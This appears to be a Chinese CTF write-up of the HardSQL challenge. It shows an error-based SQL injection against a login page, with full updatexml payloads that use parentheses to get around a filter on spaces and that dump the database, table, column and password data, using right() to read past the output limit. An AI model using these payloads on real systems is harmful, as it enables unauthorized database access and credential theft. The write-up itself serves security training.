[极客大挑战 2019]HardSQL1

拿到题目是一个登录界面

[极客大挑战 2019]HardSQL1_第1张图片

提交万能密码后拿到回显信息,说明页面存在过滤

[极客大挑战 2019]HardSQL1_第2张图片

burp抓包爆破后发现,所有736都是被过滤字符

[极客大挑战 2019]HardSQL1_第3张图片

联合注入和时间盲注被过滤,因为页面存在报错信息,所以尝试报错注入

[极客大挑战 2019]HardSQL1_第4张图片

因为空格也被过滤,所以我们使用括号绕过

admin'or(updatexml(1,concat(0x7e,database(),0x7e),3))#

获得数据库名称

[极客大挑战 2019]HardSQL1_第5张图片

一定要注意闭合,获取数据库的所有表名称

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),3))#
[极客大挑战 2019]HardSQL1_第6张图片

爆出数据表所包含的所有字段信息

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),3))#
[极客大挑战 2019]HardSQL1_第7张图片

获取password数据,flag就在里面,但是因为updatexml报错注入的数据输出有限,这里又将substr函数和mid函数给过滤了

所以经过查看wp,学到一种新方法:left和right方法

admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),3))#
[极客大挑战 2019]HardSQL1_第8张图片

利用rigth方法回显另外的数据,拼接在一起获得flag

admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(geek.H4rDsq1)),0x7e),3))#
[极客大挑战 2019]HardSQL1_第9张图片

你可能感兴趣的:(SQL,数据库)